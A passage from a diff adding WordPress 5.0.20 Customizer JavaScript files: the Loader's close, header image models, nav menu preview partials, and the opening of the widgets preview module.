+			Loader.messenger.destroy();
+			Loader.iframe    = null;
+			Loader.messenger = null;
+			Loader.saved     = null;
+			Loader.body.removeClass( 'customize-active full-overlay-active' ).removeClass( 'customize-loading' );
+			$( window ).off( 'beforeunload', Loader.beforeunload );
+			/*
+			 * Return focus to the link that opened the Customizer overlay after
+			 * the body element visibility is restored.
+			 */
+			if ( Loader.link ) {
+				Loader.link.focus();
+			}
+		},
+
+		/**
+		 * Callback for the `load` event on the Customizer iframe.
+		 */
+		loaded: function() {
+			Loader.body.removeClass( 'customize-loading' ).attr( 'aria-busy', 'false' );
+		},
+
+		/**
+		 * Overlay hide/show utility methods.
+		 */
+		overlay: {
+			show: function() {
+				this.element.fadeIn( 200, Loader.opened );
+			},
+
+			hide: function() {
+				this.element.fadeOut( 200, Loader.closed );
+			}
+		}
+	});
+
+	// Bootstrap the Loader on document#ready.
+	$( function() {
+		Loader.settings = _wpCustomizeLoaderSettings;
+		Loader.initialize();
+	});
+
+	// Expose the API publicly on window.wp.customize.Loader
+	api.Loader = Loader;
+})( wp, jQuery );
Index: /tags/5.0.20/src/wp-includes/js/customize-models.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-models.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-models.js	(revision 56912)
@@ -0,0 +1,277 @@
+/* global _wpCustomizeHeader */
+(function( $, wp ) {
+	var api = wp.customize;
+	/** @namespace wp.customize.HeaderTool */
+	api.HeaderTool = {};
+
+
+	/**
+	 * wp.customize.HeaderTool.ImageModel
+	 *
+	 * A header image. This is where saves via the Customizer API are
+	 * abstracted away, plus our own AJAX calls to add images to and remove
+	 * images from the user's recently uploaded images setting on the server.
+	 * These calls are made regardless of whether the user actually saves new
+	 * Customizer settings.
+	 *
+	 * @memberOf wp.customize.HeaderTool
+	 * @alias wp.customize.HeaderTool.ImageModel
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{
+		defaults: function() {
+			return {
+				header: {
+					attachment_id: 0,
+					url: '',
+					timestamp: _.now(),
+					thumbnail_url: ''
+				},
+				choice: '',
+				selected: false,
+				random: false
+			};
+		},
+
+		initialize: function() {
+			this.on('hide', this.hide, this);
+		},
+
+		hide: function() {
+			this.set('choice', '');
+			api('header_image').set('remove-header');
+			api('header_image_data').set('remove-header');
+		},
+
+		destroy: function() {
+			var data = this.get('header'),
+				curr = api.HeaderTool.currentHeader.get('header').attachment_id;
+
+			// If the image we're removing is also the current header, unset
+			// the latter
+			if (curr && data.attachment_id === curr) {
+				api.HeaderTool.currentHeader.trigger('hide');
+			}
+
+			wp.ajax.post( 'custom-header-remove', {
+				nonce: _wpCustomizeHeader.nonces.remove,
+				wp_customize: 'on',
+				theme: api.settings.theme.stylesheet,
+				attachment_id: data.attachment_id
+			});
+
+			this.trigger('destroy', this, this.collection);
+		},
+
+		save: function() {
+			if (this.get('random')) {
+				api('header_image').set(this.get('header').random);
+				api('header_image_data').set(this.get('header').random);
+			} else {
+				if (this.get('header').defaultName) {
+					api('header_image').set(this.get('header').url);
+					api('header_image_data').set(this.get('header').defaultName);
+				} else {
+					api('header_image').set(this.get('header').url);
+					api('header_image_data').set(this.get('header'));
+				}
+			}
+
+			api.HeaderTool.combinedList.trigger('control:setImage', this);
+		},
+
+		importImage: function() {
+			var data = this.get('header');
+			if (data.attachment_id === undefined) {
+				return;
+			}
+
+			wp.ajax.post( 'custom-header-add', {
+				nonce: _wpCustomizeHeader.nonces.add,
+				wp_customize: 'on',
+				theme: api.settings.theme.stylesheet,
+				attachment_id: data.attachment_id
+			} );
+		},
+
+		shouldBeCropped: function() {
+			if (this.get('themeFlexWidth') === true &&
+						this.get('themeFlexHeight') === true) {
+				return false;
+			}
+
+			if (this.get('themeFlexWidth') === true &&
+				this.get('themeHeight') === this.get('imageHeight')) {
+				return false;
+			}
+
+			if (this.get('themeFlexHeight') === true &&
+				this.get('themeWidth') === this.get('imageWidth')) {
+				return false;
+			}
+
+			if (this.get('themeWidth') === this.get('imageWidth') &&
+				this.get('themeHeight') === this.get('imageHeight')) {
+				return false;
+			}
+
+			if (this.get('imageWidth') <= this.get('themeWidth')) {
+				return false;
+			}
+
+			return true;
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.ChoiceList
+	 *
+	 * @memberOf wp.customize.HeaderTool
+	 * @alias wp.customize.HeaderTool.ChoiceList
+	 *
+	 * @constructor
+	 * @augments Backbone.Collection
+	 */
+	api.HeaderTool.ChoiceList = Backbone.Collection.extend({
+		model: api.HeaderTool.ImageModel,
+
+		// Ordered from most recently used to least
+		comparator: function(model) {
+			return -model.get('header').timestamp;
+		},
+
+		initialize: function() {
+			var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
+				isRandom = this.isRandomChoice(api.get().header_image);
+
+			// Overridable by an extending class
+			if (!this.type) {
+				this.type = 'uploaded';
+			}
+
+			// Overridable by an extending class
+			if (typeof this.data === 'undefined') {
+				this.data = _wpCustomizeHeader.uploads;
+			}
+
+			if (isRandom) {
+				// So that when adding data we don't hide regular images
+				current = api.get().header_image;
+			}
+
+			this.on('control:setImage', this.setImage, this);
+			this.on('control:removeImage', this.removeImage, this);
+			this.on('add', this.maybeRemoveOldCrop, this);
+			this.on('add', this.maybeAddRandomChoice, this);
+
+			_.each(this.data, function(elt, index) {
+				if (!elt.attachment_id) {
+					elt.defaultName = index;
+				}
+
+				if (typeof elt.timestamp === 'undefined') {
+					elt.timestamp = 0;
+				}
+
+				this.add({
+					header: elt,
+					choice: elt.url.split('/').pop(),
+					selected: current === elt.url.replace(/^https?:\/\//, '')
+				}, { silent: true });
+			}, this);
+
+			if (this.size() > 0) {
+				this.addRandomChoice(current);
+			}
+		},
+
+		maybeRemoveOldCrop: function( model ) {
+			var newID = model.get( 'header' ).attachment_id || false,
+			 	oldCrop;
+
+			// Bail early if we don't have a new attachment ID.
+			if ( ! newID ) {
+				return;
+			}
+
+			oldCrop = this.find( function( item ) {
+				return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID );
+			} );
+
+			// If we found an old crop, remove it from the collection.
+			if ( oldCrop ) {
+				this.remove( oldCrop );
+			}
+		},
+
+		maybeAddRandomChoice: function() {
+			if (this.size() === 1) {
+				this.addRandomChoice();
+			}
+		},
+
+		addRandomChoice: function(initialChoice) {
+			var isRandomSameType = RegExp(this.type).test(initialChoice),
+				randomChoice = 'random-' + this.type + '-image';
+
+			this.add({
+				header: {
+					timestamp: 0,
+					random: randomChoice,
+					width: 245,
+					height: 41
+				},
+				choice: randomChoice,
+				random: true,
+				selected: isRandomSameType
+			});
+		},
+
+		isRandomChoice: function(choice) {
+			return (/^random-(uploaded|default)-image$/).test(choice);
+		},
+
+		shouldHideTitle: function() {
+			return this.size() < 2;
+		},
+
+		setImage: function(model) {
+			this.each(function(m) {
+				m.set('selected', false);
+			});
+
+			if (model) {
+				model.set('selected', true);
+			}
+		},
+
+		removeImage: function() {
+			this.each(function(m) {
+				m.set('selected', false);
+			});
+		}
+	});
+
+
+	/**
+	 * wp.customize.HeaderTool.DefaultsList
+	 *
+	 * @memberOf wp.customize.HeaderTool
+	 * @alias wp.customize.HeaderTool.DefaultsList
+	 *
+	 * @constructor
+	 * @augments wp.customize.HeaderTool.ChoiceList
+	 * @augments Backbone.Collection
+	 */
+	api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
+		initialize: function() {
+			this.type = 'default';
+			this.data = _wpCustomizeHeader.defaults;
+			api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
+		}
+	});
+
+})( jQuery, window.wp );
Index: /tags/5.0.20/src/wp-includes/js/customize-preview-nav-menus.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-preview-nav-menus.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-preview-nav-menus.js	(revision 56912)
@@ -0,0 +1,442 @@
+/* global _wpCustomizePreviewNavMenusExports */
+
+/** @namespace wp.customize.navMenusPreview */
+wp.customize.navMenusPreview = wp.customize.MenusCustomizerPreview = ( function( $, _, wp, api ) {
+	'use strict';
+
+	var self = {
+		data: {
+			navMenuInstanceArgs: {}
+		}
+	};
+	if ( 'undefined' !== typeof _wpCustomizePreviewNavMenusExports ) {
+		_.extend( self.data, _wpCustomizePreviewNavMenusExports );
+	}
+
+	/**
+	 * Initialize nav menus preview.
+	 */
+	self.init = function() {
+		var self = this, synced = false;
+
+		/*
+		 * Keep track of whether we synced to determine whether or not bindSettingListener
+		 * should also initially fire the listener. This initial firing needs to wait until
+		 * after all of the settings have been synced from the pane in order to prevent
+		 * an infinite selective fallback-refresh. Note that this sync handler will be
+		 * added after the sync handler in customize-preview.js, so it will be triggered
+		 * after all of the settings are added.
+		 */
+		api.preview.bind( 'sync', function() {
+			synced = true;
+		} );
+
+		if ( api.selectiveRefresh ) {
+			// Listen for changes to settings related to nav menus.
+			api.each( function( setting ) {
+				self.bindSettingListener( setting );
+			} );
+			api.bind( 'add', function( setting ) {
+
+				/*
+				 * Handle case where an invalid nav menu item (one for which its associated object has been deleted)
+				 * is synced from the controls into the preview. Since invalid nav menu items are filtered out from
+				 * being exported to the frontend by the _is_valid_nav_menu_item filter in wp_get_nav_menu_items(),
+				 * the customizer controls will have a nav_menu_item setting where the preview will have none, and
+				 * this can trigger an infinite fallback refresh when the nav menu item lacks any valid items.
+				 */
+				if ( setting.get() && ! setting.get()._invalid ) {
+					self.bindSettingListener( setting, { fire: synced } );
+				}
+			} );
+			api.bind( 'remove', function( setting ) {
+				self.unbindSettingListener( setting );
+			} );
+
+			/*
+			 * Ensure that wp_nav_menu() instances nested inside of other partials
+			 * will be recognized as being present on the page.
+			 */
+			api.selectiveRefresh.bind( 'render-partials-response', function( response ) {
+				if ( response.nav_menu_instance_args ) {
+					_.extend( self.data.navMenuInstanceArgs, response.nav_menu_instance_args );
+				}
+			} );
+		}
+
+		api.preview.bind( 'active', function() {
+			self.highlightControls();
+		} );
+	};
+
+	if ( api.selectiveRefresh ) {
+
+		/**
+		 * Partial representing an invocation of wp_nav_menu().
+		 *
+		 * @memberOf wp.customize.navMenusPreview
+		 * @alias wp.customize.navMenusPreview.NavMenuInstancePartial
+		 *
+		 * @class
+		 * @augments wp.customize.selectiveRefresh.Partial
+		 * @since 4.5.0
+		 */
+		self.NavMenuInstancePartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.navMenusPreview.NavMenuInstancePartial.prototype */{
+
+			/**
+			 * Constructor.
+			 *
+			 * @since 4.5.0
+			 * @param {string} id - Partial ID.
+			 * @param {Object} options
+			 * @param {Object} options.params
+			 * @param {Object} options.params.navMenuArgs
+			 * @param {string} options.params.navMenuArgs.args_hmac
+			 * @param {string} [options.params.navMenuArgs.theme_location]
+			 * @param {number} [options.params.navMenuArgs.menu]
+			 * @param {object} [options.constructingContainerContext]
+			 */
+			initialize: function( id, options ) {
+				var partial = this, matches, argsHmac;
+				matches = id.match( /^nav_menu_instance\[([0-9a-f]{32})]$/ );
+				if ( ! matches ) {
+					throw new Error( 'Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.' );
+				}
+				argsHmac = matches[1];
+
+				options = options || {};
+				options.params = _.extend(
+					{
+						selector: '[data-customize-partial-id="' + id + '"]',
+						navMenuArgs: options.constructingContainerContext || {},
+						containerInclusive: true
+					},
+					options.params || {}
+				);
+				api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
+
+				if ( ! _.isObject( partial.params.navMenuArgs ) ) {
+					throw new Error( 'Missing navMenuArgs' );
+				}
+				if ( partial.params.navMenuArgs.args_hmac !== argsHmac ) {
+					throw new Error( 'args_hmac mismatch with id' );
+				}
+			},
+
+			/**
+			 * Return whether the setting is related to this partial.
+			 *
+			 * @since 4.5.0
+			 * @param {wp.customize.Value|string} setting  - Object or ID.
+			 * @param {number|object|false|null}  newValue - New value, or null if the setting was just removed.
+			 * @param {number|object|false|null}  oldValue - Old value, or null if the setting was just added.
+			 * @returns {boolean}
+			 */
+			isRelatedSetting: function( setting, newValue, oldValue ) {
+				var partial = this, navMenuLocationSetting, navMenuId, isNavMenuItemSetting, _newValue, _oldValue, urlParser;
+				if ( _.isString( setting ) ) {
+					setting = api( setting );
+				}
+
+				/*
+				 * Prevent nav_menu_item changes only containing type_label differences triggering a refresh.
+				 * These settings in the preview do not include type_label property, and so if one of these
+				 * nav_menu_item settings is dirty, after a refresh the nav menu instance would do a selective
+				 * refresh immediately because the setting from the pane would have the type_label whereas
+				 * the setting in the preview would not, thus triggering a change event. The following
+				 * condition short-circuits this unnecessary selective refresh and also prevents an infinite
+				 * loop in the case where a nav_menu_instance partial had done a fallback refresh.
+				 * @todo Nav menu item settings should not include a type_label property to begin with.
+				 */
+				isNavMenuItemSetting = /^nav_menu_item\[/.test( setting.id );
+				if ( isNavMenuItemSetting && _.isObject( newValue ) && _.isObject( oldValue ) ) {
+					_newValue = _.clone( newValue );
+					_oldValue = _.clone( oldValue );
+					delete _newValue.type_label;
+					delete _oldValue.type_label;
+
+					// Normalize URL scheme when parent frame is HTTPS to prevent selective refresh upon initial page load.
+					if ( 'https' === api.preview.scheme.get() ) {
+						urlParser = document.createElement( 'a' );
+						urlParser.href = _newValue.url;
+						urlParser.protocol = 'https:';
+						_newValue.url = urlParser.href;
+						urlParser.href = _oldValue.url;
+						urlParser.protocol = 'https:';
+						_oldValue.url = urlParser.href;
+					}
+
+					// Prevent original_title differences from causing refreshes if title is present.
+					if ( newValue.title ) {
+						delete _oldValue.original_title;
+						delete _newValue.original_title;
+					}
+
+					if ( _.isEqual( _oldValue, _newValue ) ) {
+						return false;
+					}
+				}
+
+				if ( partial.params.navMenuArgs.theme_location ) {
+					if ( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' === setting.id ) {
+						return true;
+					}
+					navMenuLocationSetting = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' );
+				}
+
+				navMenuId = partial.params.navMenuArgs.menu;
+				if ( ! navMenuId && navMenuLocationSetting ) {
+					navMenuId = navMenuLocationSetting();
+				}
+
+				if ( ! navMenuId ) {
+					return false;
+				}
+				return (
+					( 'nav_menu[' + navMenuId + ']' === setting.id ) ||
+					( isNavMenuItemSetting && (
+						( newValue && newValue.nav_menu_term_id === navMenuId ) ||
+						( oldValue && oldValue.nav_menu_term_id === navMenuId )
+					) )
+				);
+			},
+
+			/**
+			 * Make sure that partial fallback behavior is invoked if there is no associated menu.
+			 *
+			 * @since 4.5.0
+			 *
+			 * @returns {Promise}
+			 */
+			refresh: function() {
+				var partial = this, menuId, deferred = $.Deferred();
+
+				// Make sure the fallback behavior is invoked when the partial is no longer associated with a menu.
+				if ( _.isNumber( partial.params.navMenuArgs.menu ) ) {
+					menuId = partial.params.navMenuArgs.menu;
+				} else if ( partial.params.navMenuArgs.theme_location && api.has( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ) ) {
+					menuId = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ).get();
+				}
+				if ( ! menuId ) {
+					partial.fallback();
+					deferred.reject();
+					return deferred.promise();
+				}
+
+				return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
+			},
+
+			/**
+			 * Render content.
+			 *
+			 * @inheritdoc
+			 * @param {wp.customize.selectiveRefresh.Placement} placement
+			 */
+			renderContent: function( placement ) {
+				var partial = this, previousContainer = placement.container;
+
+				// Do fallback behavior to refresh preview if menu is now empty.
+				if ( '' === placement.addedContent ) {
+					placement.partial.fallback();
+				}
+
+				if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
+
+					// Trigger deprecated event.
+					$( document ).trigger( 'customize-preview-menu-refreshed', [ {
+						instanceNumber: null, // @deprecated
+						wpNavArgs: placement.context, // @deprecated
+						wpNavMenuArgs: placement.context,
+						oldContainer: previousContainer,
+						newContainer: placement.container
+					} ] );
+				}
+			}
+		});
+
+		api.selectiveRefresh.partialConstructor.nav_menu_instance = self.NavMenuInstancePartial;
+
+		/**
+		 * Request full refresh if there are nav menu instances that lack partials which also match the supplied args.
+		 *
+		 * @param {object} navMenuInstanceArgs
+		 */
+		self.handleUnplacedNavMenuInstances = function( navMenuInstanceArgs ) {
+			var unplacedNavMenuInstances;
+			unplacedNavMenuInstances = _.filter( _.values( self.data.navMenuInstanceArgs ), function( args ) {
+				return ! api.selectiveRefresh.partial.has( 'nav_menu_instance[' + args.args_hmac + ']' );
+			} );
+			if ( _.findWhere( unplacedNavMenuInstances, navMenuInstanceArgs ) ) {
+				api.selectiveRefresh.requestFullRefresh();
+				return true;
+			}
+			return false;
+		};
+
+		/**
+		 * Add change listener for a nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {wp.customize.Value} setting
+		 * @param {object}             [options]
+		 * @param {boolean}            options.fire Whether to invoke the callback after binding.
+		 *                                          This is used when a dynamic setting is added.
+		 * @return {boolean} Whether the setting was bound.
+		 */
+		self.bindSettingListener = function( setting, options ) {
+			var matches;
+			options = options || {};
+
+			matches = setting.id.match( /^nav_menu\[(-?\d+)]$/ );
+			if ( matches ) {
+				setting._navMenuId = parseInt( matches[1], 10 );
+				setting.bind( this.onChangeNavMenuSetting );
+				if ( options.fire ) {
+					this.onChangeNavMenuSetting.call( setting, setting(), false );
+				}
+				return true;
+			}
+
+			matches = setting.id.match( /^nav_menu_item\[(-?\d+)]$/ );
+			if ( matches ) {
+				setting._navMenuItemId = parseInt( matches[1], 10 );
+				setting.bind( this.onChangeNavMenuItemSetting );
+				if ( options.fire ) {
+					this.onChangeNavMenuItemSetting.call( setting, setting(), false );
+				}
+				return true;
+			}
+
+			matches = setting.id.match( /^nav_menu_locations\[(.+?)]/ );
+			if ( matches ) {
+				setting._navMenuThemeLocation = matches[1];
+				setting.bind( this.onChangeNavMenuLocationsSetting );
+				if ( options.fire ) {
+					this.onChangeNavMenuLocationsSetting.call( setting, setting(), false );
+				}
+				return true;
+			}
+
+			return false;
+		};
+
+		/**
+		 * Remove change listeners for nav_menu[], nav_menu_item[], or nav_menu_locations[] setting.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {wp.customize.Value} setting
+		 */
+		self.unbindSettingListener = function( setting ) {
+			setting.unbind( this.onChangeNavMenuSetting );
+			setting.unbind( this.onChangeNavMenuItemSetting );
+			setting.unbind( this.onChangeNavMenuLocationsSetting );
+		};
+
+		/**
+		 * Handle change for nav_menu[] setting for nav menu instances lacking partials.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @this {wp.customize.Value}
+		 */
+		self.onChangeNavMenuSetting = function() {
+			var setting = this;
+
+			self.handleUnplacedNavMenuInstances( {
+				menu: setting._navMenuId
+			} );
+
+			// Ensure all nav menu instances with a theme_location assigned to this menu are handled.
+			api.each( function( otherSetting ) {
+				if ( ! otherSetting._navMenuThemeLocation ) {
+					return;
+				}
+				if ( setting._navMenuId === otherSetting() ) {
+					self.handleUnplacedNavMenuInstances( {
+						theme_location: otherSetting._navMenuThemeLocation
+					} );
+				}
+			} );
+		};
+
+		/**
+		 * Handle change for nav_menu_item[] setting for nav menu instances lacking partials.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {object} newItem New value for nav_menu_item[] setting.
+		 * @param {object} oldItem Old value for nav_menu_item[] setting.
+		 * @this {wp.customize.Value}
+		 */
+		self.onChangeNavMenuItemSetting = function( newItem, oldItem ) {
+			var item = newItem || oldItem, navMenuSetting;
+			navMenuSetting = api( 'nav_menu[' + String( item.nav_menu_term_id ) + ']' );
+			if ( navMenuSetting ) {
+				self.onChangeNavMenuSetting.call( navMenuSetting );
+			}
+		};
+
+		/**
+		 * Handle change for nav_menu_locations[] setting for nav menu instances lacking partials.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @this {wp.customize.Value}
+		 */
+		self.onChangeNavMenuLocationsSetting = function() {
+			var setting = this, hasNavMenuInstance;
+			self.handleUnplacedNavMenuInstances( {
+				theme_location: setting._navMenuThemeLocation
+			} );
+
+			// If there are no wp_nav_menu() instances that refer to the theme location, do full refresh.
+			hasNavMenuInstance = !! _.findWhere( _.values( self.data.navMenuInstanceArgs ), {
+				theme_location: setting._navMenuThemeLocation
+			} );
+			if ( ! hasNavMenuInstance ) {
+				api.selectiveRefresh.requestFullRefresh();
+			}
+		};
+	}
+
+	/**
+	 * Connect nav menu items with their corresponding controls in the pane.
+	 *
+	 * Setup shift-click on nav menu items which are more granular than the nav menu partial itself.
+	 * Also this applies even if a nav menu is not partial-refreshable.
+	 *
+	 * @since 4.5.0
+	 */
+	self.highlightControls = function() {
+		var selector = '.menu-item';
+
+		// Skip adding highlights if not in the customizer preview iframe.
+		if ( ! api.settings.channel ) {
+			return;
+		}
+
+		// Focus on the menu item control when shift+clicking the menu item.
+		$( document ).on( 'click', selector, function( e ) {
+			var navMenuItemParts;
+			if ( ! e.shiftKey ) {
+				return;
+			}
+
+			navMenuItemParts = $( this ).attr( 'class' ).match( /(?:^|\s)menu-item-(-?\d+)(?:\s|$)/ );
+			if ( navMenuItemParts ) {
+				e.preventDefault();
+				e.stopPropagation(); // Make sure a sub-nav menu item will get focused instead of parent items.
+				api.preview.send( 'focus-nav-menu-item-control', parseInt( navMenuItemParts[1], 10 ) );
+			}
+		});
+	};
+
+	api.bind( 'preview-ready', function() {
+		self.init();
+	} );
+
+	return self;
+
+}( jQuery, _, wp, wp.customize ) );
Index: /tags/5.0.20/src/wp-includes/js/customize-preview-widgets.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-preview-widgets.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-preview-widgets.js	(revision 56912)
@@ -0,0 +1,713 @@
+/* global _wpWidgetCustomizerPreviewSettings */
+
+/** @namespace wp.customize.widgetsPreview */
+wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) {
+
+	var self;
+
+	self = {
+		renderedSidebars: {},
+		renderedWidgets: {},
+		registeredSidebars: [],
+		registeredWidgets: {},
+		widgetSelectors: [],
+		preview: null,
+		l10n: {
+			widgetTooltip: ''
+		},
+		selectiveRefreshableWidgets: {}
+	};
+
+	/**
+	 * Init widgets preview.
+	 *
+	 * @since 4.5.0
+	 */
+	self.init = function() {
+		var self = this;
+
+		self.preview = api.preview;
+		if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) {
+			self.addPartials();
+		}
+
+		self.buildWidgetSelectors();
+		self.highlightControls();
+
+		self.preview.bind( 'highlight-widget', self.highlightWidget );
+
+		api.preview.bind( 'active', function() {
+			self.highlightControls();
+		} );
+
+		/*
+		 * Refresh a partial when the controls pane requests it. This is used currently just by the
+		 * Gallery widget so that when an attachment's caption is updated in the media modal,
+		 * the widget in the preview will then be refreshed to show the change. Normally doing this
+		 * would not be necessary because all of the state should be contained inside the changeset,
+		 * as everything done in the Customizer should not make a change to the site unless the
+		 * changeset itself is published. Attachments are a current exception to this rule.
+		 * For a proposal to include attachments in the customized state, see #37887.
+		 */
+		api.preview.bind( 'refresh-widget-partial', function( widgetId ) {
+			var partialId = 'widget[' + widgetId + ']';
+			if ( api.selectiveRefresh.partial.has( partialId ) ) {
+				api.selectiveRefresh.partial( partialId ).refresh();
+			} else if ( self.renderedWidgets[ widgetId ] ) {
+				api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'.
+			}
+		} );
+	};
+
+	/**
+	 * Partial representing a widget instance.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 * @alias wp.customize.widgetsPreview.WidgetPartial
+	 *
+	 * @class
+	 * @augments wp.customize.selectiveRefresh.Partial
+	 * @since 4.5.0
+	 */
+	self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{
+
+		/**
+		 * Constructor.
+		 *
+		 * @since 4.5.0
+		 * @param {string} id - Partial ID.
+		 * @param {Object} options
+		 * @param {Object} options.params
+		 */
+		initialize: function( id, options ) {
+			var partial = this, matches;
+			matches = id.match( /^widget\[(.+)]$/ );
+			if ( ! matches ) {
+				throw new Error( 'Illegal id for widget partial.' );
+			}
+
+			partial.widgetId = matches[1];
+			partial.widgetIdParts = self.parseWidgetId( partial.widgetId );
+			options = options || {};
+			options.params = _.extend(
+				{
+					settings: [ self.getWidgetSettingId( partial.widgetId ) ],
+					containerInclusive: true
+				},
+				options.params || {}
+			);
+
+			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
+		},
+
+		/**
+		 * Refresh widget partial.
+		 *
+		 * @returns {Promise}
+		 */
+		refresh: function() {
+			var partial = this, refreshDeferred;
+			if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) {
+				refreshDeferred = $.Deferred();
+				refreshDeferred.reject();
+				partial.fallback();
+				return refreshDeferred.promise();
+			} else {
+				return api.selectiveRefresh.Partial.prototype.refresh.call( partial );
+			}
+		},
+
+		/**
+		 * Send widget-updated message to parent so spinner will get removed from widget control.
+		 *
+		 * @inheritdoc
+		 * @param {wp.customize.selectiveRefresh.Placement} placement
+		 */
+		renderContent: function( placement ) {
+			var partial = this;
+			if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) {
+				api.preview.send( 'widget-updated', partial.widgetId );
+				api.selectiveRefresh.trigger( 'widget-updated', partial );
+			}
+		}
+	});
+
+	/**
+	 * Partial representing a widget area.
+	 *
+	 * @memberOf wp.customize.widgetsPreview
+	 * @alias wp.customize.widgetsPreview.SidebarPartial
+	 *
+	 * @class
+	 * @augments wp.customize.selectiveRefresh.Partial
+	 * @since 4.5.0
+	 */
+	self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{
+
+		/**
+		 * Constructor.
+		 *
+		 * @since 4.5.0
+		 * @param {string} id - Partial ID.
+		 * @param {Object} options
+		 * @param {Object} options.params
+		 */
+		initialize: function( id, options ) {
+			var partial = this, matches;
+			matches = id.match( /^sidebar\[(.+)]$/ );
+			if ( ! matches ) {
+				throw new Error( 'Illegal id for sidebar partial.' );
+			}
+			partial.sidebarId = matches[1];
+
+			options = options || {};
+			options.params = _.extend(
+				{
+					settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ]
+				},
+				options.params || {}
+			);
+
+			api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options );
+
+			if ( ! partial.params.sidebarArgs ) {
+				throw new Error( 'The sidebarArgs param was not provided.' );
+			}
+			if ( partial.params.settings.length > 1 ) {
+				throw new Error( 'Expected SidebarPartial to only have one associated setting' );
+			}
+		},
+
+		/**
+		 * Set up the partial.
+		 *
+		 * @since 4.5.0
+		 */
+		ready: function() {
+			var sidebarPartial = this;
+
+			// Watch for changes to the sidebar_widgets setting.
+			_.each( sidebarPartial.settings(), function( settingId ) {
+				api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) );
+			} );
+
+			// Trigger an event for this sidebar being updated whenever a widget inside is rendered.
+			api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
+				var isAssignedWidgetPartial = (
+					placement.partial.extended( self.WidgetPartial ) &&
+					( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) )
+				);
+				if ( isAssignedWidgetPartial ) {
+					api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial );
+				}
+			} );
+
+			// Make sure that a widget partial has a container in the DOM prior to a refresh.
+			api.bind( 'change', function( widgetSetting ) {
+				var widgetId, parsedId;
+				parsedId = self.parseWidgetSettingId( widgetSetting.id );
+				if ( ! parsedId ) {
+					return;
+				}
+				widgetId = parsedId.idBase;
+				if ( parsedId.number ) {
+					widgetId += '-' + String( parsedId.number );
+				}
+				if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) {
+					sidebarPartial.ensureWidgetPlacementContainers( widgetId );
+				}
+			} );
+		},
+
+		/**
+		 * Get the before/after boundary nodes for all instances of this sidebar (usually one).
+		 *
+		 * Note that TreeWalker is not implemented in IE8.
+		 *
+		 * @since 4.5.0
+		 * @returns {Array.<{before: Comment, after: Comment, instanceNumber: number}>}
+		 */
+		findDynamicSidebarBoundaryNodes: function() {
+			var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal;
+			regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/;
+			recursiveCommentTraversal = function( childNodes ) {
+				_.each( childNodes, function( node ) {
+					var matches;
+					if ( 8 === node.nodeType ) {
+						matches = node.nodeValue.match( regExp );
+						if ( ! matches || matches[2] !== partial.sidebarId ) {
+							return;
+						}
+						if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) {
+							boundaryNodes[ matches[3] ] = {
+								before: null,
+								after: null,
+								instanceNumber: parseInt( matches[3], 10 )
+							};
+						}
+						if ( 'dynamic_sidebar_before' === matches[1] ) {
+							boundaryNodes[ matches[3] ].before = node;
+						} else {
+							boundaryNodes[ matches[3] ].after = node;
+						}
+					} else if ( 1 === node.nodeType ) {
+						recursiveCommentTraversal( node.childNodes );
+					}
+				} );
+			};
+
+			recursiveCommentTraversal( document.body.childNodes );
+			return _.values( boundaryNodes );
+		},
+
+		/**
+		 * Get the placements for this partial.
+		 *
+		 * @since 4.5.0
+		 * @returns {Array}
+		 */
+		placements: function() {
+			var partial = this;
+			return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) {
+				return new api.selectiveRefresh.Placement( {
+					partial: partial,
+					container: null,
+					startNode: boundaryNodes.before,
+					endNode: boundaryNodes.after,
+					context: {
